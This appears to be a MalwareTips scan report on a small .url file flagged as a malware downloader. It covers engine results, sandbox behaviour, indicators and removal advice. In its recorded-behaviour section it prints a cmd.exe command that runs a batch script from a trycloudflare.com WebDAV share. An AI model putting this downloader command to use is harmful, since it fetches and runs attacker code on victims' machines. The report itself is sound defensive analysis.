File scan report
Verdict Malicious
Is Mod. 347. url safe? No, we rate this exact file malicious.
1 of the 61 antivirus engines that checked it flags this file as a malware downloader.
Moderate evidence · Few antivirus engines flag it; other checks support the rating.
Delete this file immediately and run a full system scan. Monitor for PythonEmbedded artifacts in Temp and block associated IPs/domains to prevent further infection.
What to do now4 steps
This file is harmful. Don't run it, and remove it.
If you haven't opened it
Don't open this file. Delete it, then empty the Recycle Bin or Trash.
If you already opened it
Disconnect the device from the internet, then run a full scan with your security software.
If you typed passwords on the device after running it, change them from another device you trust.
If the scan keeps finding it, or the device still acts strangely, scan again with a second-opinion scanner from another company; if that doesn't fix it, back up your personal files and reinstall the operating system.
If you already ran it, do these in order.
If you opened or installed it
Avoid banking and sign-ins on that device until it is clean. These free MalwareTips guides walk you through it.
- Trojan removal guideClear steps for Windows, Mac and Android. (opens malwaretips.com in a new tab)
- Remove malware from WindowsStep-by-step cleanup with free tools. (opens malwaretips.com in a new tab)
- Ask for free help on the MalwareTips forumWindows malware removal help, answered by volunteers. (opens malwaretips.com in a new tab)
Paste this report's link in your topic so helpers can see what was found.
Reads the latest antivirus results for this file's hash. Nothing is uploaded.
Antivirus results
1 of 61 flagged
- Flagged 1
- No detection 60
- No result 14
- Code signing Not applicable
- Test run Completed
- First seen 6mo ago
Chapter 02
Why we think so
5 points against it and 2 in its favour, checked against the scan evidence.
The reasoning behind this verdict
This file executes a downloader chain via cmd.exe, pulling BAT scripts and Python payloads from a trycloudflare.com domain often abused for a control server. Kaspersky flags it as WinINF variant; behavior matches offensive MITRE techniques like process injection. No counter-evidence outweighs the runtime indicators.
Unsigned, and rare with no positive history. Clean engine majority and unknown children provide weak dissent but do not override the downloader pattern and offensive techniques.
What We Detected
INI file ('Mod. Kaspersky detects 'UDS:Trojan.WinINF.Alien.gen'.
Threat Behavior
Offensive MITRE: T1055 (injection), T1059.001 (cmd shell), T1547.001 (persistence), T1560 (archive). Direct-IP a control server evades DNS blocks; Cloudflare tunnel hides payload hosting.
What To Do Now
Let your antivirus remove it now. Scan system for dropped Python in AppData\Local\Temp/PythonEmbedded and delete. Block trycloudflare.com domains.
Where this verdict could be wrong3 caveats
- Only 1/61 engines malicious, 16 major clean; no strong major consensus (>=3 engines).
- behaviour.hasMaliciousSandboxVerdict=false (1 sandbox); droppedChildren.hasMaliciousChild=false (10 unknown).
- No externalIntel.yaraify/circl hits; no similarHashes; no recentFeedback/communityComments.
These are the assessment's weak points. If you believe one applies to your file, report the verdict and we'll re-review it.
- 60/61 engines undetected (16 major clean)
- No confirmed malicious files it created/hosts/sandbox verdicts
- Downloader chain: remote BAT/Python fetch via cmd/curl/PowerShell
- Suspicious Cloudflare tunnel (trycloudflare.com)
- Direct IP a control server (7 IPs, no DNS)
- Unsigned, rare and newly seen (age 0 days)
- WinINF family (Kaspersky major)
6 sources checked · 5 complete · 1 partial. See every source
Chapter 03
What it did in our test
It ran in our isolated test environment; no test environment rated what it did as risky.
Test run summary
Capture complete- 16sandbox rule tags
- 9spawned processes
- 8network contacts
- 16filesystem & mutex artifacts
What the test run showed
What the file did on a test computer
Confirmed in the test run
Moderate concern: Ran commands or a script on the test computer.
Note: Read the user name of the test computer.
Note: Talked to servers over the internet during the test run.
Note: Read basic details of the test computer, such as its Windows version.
Note: Loaded extra code modules while running.
Sandbox labels we could not confirm (common in safe files too)
Not confirmed: A sandbox rule tagged this run as code injection, but no injected program was recorded.
Not confirmed: A sandbox rule tagged this run as setting up auto-start; no auto-start entry was recorded.
This file was run on a test computer (a sandbox), not on yours. Labels we could not confirm are listed so you can see them, but they are not treated as evidence against the file.
Threat context
How downloaders work
This file is a delivery vehicle. On its own it can look small and harmless, but its job is to fetch and install the real payload, often a password stealer, ransomware or a bot, from a server the attacker controls.
Bottom line:Because the dangerous part arrives later, early scans can look cleaner than the threat really is.
Recorded behavior
What happened in the test
Grouped by step. The order is not a timeline.
- 1
Input file
The submitted object
- Evidence 1 of 7: FileSeen in the test run
Mod. 347.url
6cd7a663e44d5e36cdc7139b534dddf305437217acd341315a2b5bdbb3089084
Uploaded file
- 2
Processes
What ran
- Evidence 2 of 7: ProcessSeen in the test run
cmd.exe
"C:\Windows\system32\cmd.exe" /c start /wait "" "C:\Users\<USER>\Desktop\Mod. 347.url"
Test run - Evidence 3 of 7: ProcessSeen in the test run
cmd.exe
C:\Windows\system32\cmd.exe /c ""\\affiliates-icons-motorola-beverages.trycloudflare.com\DavWWWRoot\cd.bat" "
Test run - +1 more recorded observation
- 2
Files
Created or changed
- Evidence 4 of 7: Written fileSeen in the test run
cd.bat
C:\Users\<USER>\AppData\Local\Temp\cd.bat
Test run - Evidence 5 of 7: Written fileSeen in the test run
python312._pth
C:\Users\<USER>\AppData\Local\PythonEmbedded\python312._pth
Test run - +1 more recorded observation
- 2
Network
Hosts contacted
- Evidence 6 of 7: Contacted hostSeen in the test run
104.16.231.132
Contacted during the test run.
Test run - Evidence 7 of 7: Contacted hostSeen in the test run
150.171.73.13
Contacted during the test run.
Test run - +1 more recorded observation
7 facts from the test run. See the full activity list.
Includes 16 mapped techniques, every process, file, registry and network entry and 9 dropped files.
Show the technical evidenceChapter 04
Technical details
1 of the 61 antivirus engines that checked it flags it.
Sources checked
Every check behind this verdict
6 sources checked · 5 complete · 1 partial. Complete means the check returned a usable result; it does not mean the file is safe.
Engines that flagged it 1
- Kaspersky (major engine)UDS:Trojan.WinINF.Alien.gen
File fingerprint
- Last analyzed
- Apr 28, 2026, 12:03 PM UTC
- SHA-256
6cd7a663e44d5e36cdc7139b534dddf305437217acd341315a2b5bdbb3089084- SHA-1
061a04a78497f10714328d0e9bdc17d69d36d4cd- MD5
6640d6a683374d7eef91cba4e6b8619b
About this file
Mod. 347.url is an INI file of 256 B.
- Type and size
- INI · 256 B
- Signer
- Not applicable
- First seen
- Apr 28, 2026On VirusTotal.
- Submitted by
- 3 distinct sourcesRarely seen: few people have submitted this exact file.
First scanned
Verdict history
- Not fully confirmed
- Suspiciousafter 1 more engine flagged it
- Maliciousafter a new scan
Ratings change when antivirus engines, our checks or MalwareTips staff learn more about a file.
Includes every engine result (75), 1 matched signature rule and how widely the file has been seen.
Show the technical evidenceChapter 05
Questions & answers
Short answers to the 8 questions people ask most about this file.
Is Mod. 347.url malware?
What is Mod. 347.url?
How many antivirus engines detected Mod. 347.url?
I already downloaded and opened Mod. 347.url — what should I do?
How do I remove Mod. 347.url?
What kind of malware is Mod. 347.url?
What is the SHA-256 hash of Mod. 347.url?
How up to date is this analysis of Mod. 347.url?
Community
Member reviews and reports for this exact file hash.